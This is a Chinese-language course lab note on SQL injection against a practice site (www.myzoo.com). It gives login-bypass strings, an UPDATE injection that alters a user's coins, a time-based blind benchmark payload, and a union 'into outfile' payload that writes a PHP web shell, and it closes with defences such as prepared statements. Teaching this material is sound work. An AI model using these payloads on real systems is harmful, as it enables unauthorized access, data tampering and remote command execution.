Web信息安全实践_6 SQL注入

时间:2021-07-18 01:49:51

www.myzoo.com 输入示例

Login

a‘# 用户a登录
a‘ or 1#
a‘ or 1=1#
a‘ and 1;#
d‘ or 1#
a‘ or ‘1 
思考: 为什么无密码可以登录? 为什么最终登录的都是a?
b‘ or 0;#  用户b登录
 
Web信息安全实践_6 SQL注入 Web信息安全实践_6 SQL注入
 
Web信息安全实践_6 SQL注入 Web信息安全实践_6 SQL注入
 

profile 

a‘, Coins=100 where Username=‘a‘ ;#

 

 

Web信息安全实践_6 SQL注入 Web信息安全实践_6 SQL注入
   

User

c‘ union select 1,1,1,1,1,1,if(substring(database(),1,1)=char(119),benchmark(5000000,encode(‘aaa‘,‘bbbb‘),NULL);#
Web信息安全实践_6 SQL注入 Web信息安全实践_6 SQL注入

SQL 注入原理

注入攻击

(1)XSS
  • 用户提交数据,实际上提交的是攻击代码
  • 代码混合在数据中,使得恶意代码获得执行。
 (2) SQL 注入
  • 执行攻击者所构造的 SQL 代码
  • 应用接收用户输入,该输入被构造成 SQL 语句并获得执行
a)利用 select
$sql = "select * from Person where Username = ‘$username‘ and Password = ‘$password‘";
$sql = “ select * from Person where Username = a or 1#  and Password = $password";
b)利用 update
$sql = "UPDATE Person SET Profile= ‘$profile‘" "WHERE PersonID = ‘$personID‘";
$sql = "UPDATE Person SET Profile= ‘b‘,zoobars=100 where Username=‘b‘;# "WHERE PersonID = $personID‘";
3)利用 select 和 benchmark 语句
$sql = "select * from Person where Username = ‘$username‘
// union:两条select都执行;要求前后select列数相等
$sql = "select * from Person where Username = ‘c‘ union select 1,1,1,1,1,1, if(substring(database(),1,1)=char(119), benchmark(5000000, encode(‘aaa‘,‘bbbb‘)), NULL);#
// 把union查询结果写到文件中
$sql = "select * from Person where Username = ‘d‘ union select 1,1,1,1,1,1,‘<?php system($_GET[cmd]);?>‘ into outfile "/home/web/WebSec/1.php";#
// 写成功条件:知道当前网站根目录;mysql要拥有写权限;网站根目录要允许被其他进程写

SQL注入防御

  • SQL 注入的本质是利用数据注入代码
  • 区分数据和代码
    • 输入过滤和输出转义

过滤特殊符号 (‘ # -- 等

缺点:可能原本就需要输入带有特殊符号的数据。

开启 magic_quote_gpc转义特殊符号,把特殊符号当做普通字符

缺点:仍有可能实现SQL注入。

显式区分数据和命令

$stmt = $db->prepare("SELECT * FROM users WHERE name=? AND age=?");
$stmt->bind_param("si", $user, $age);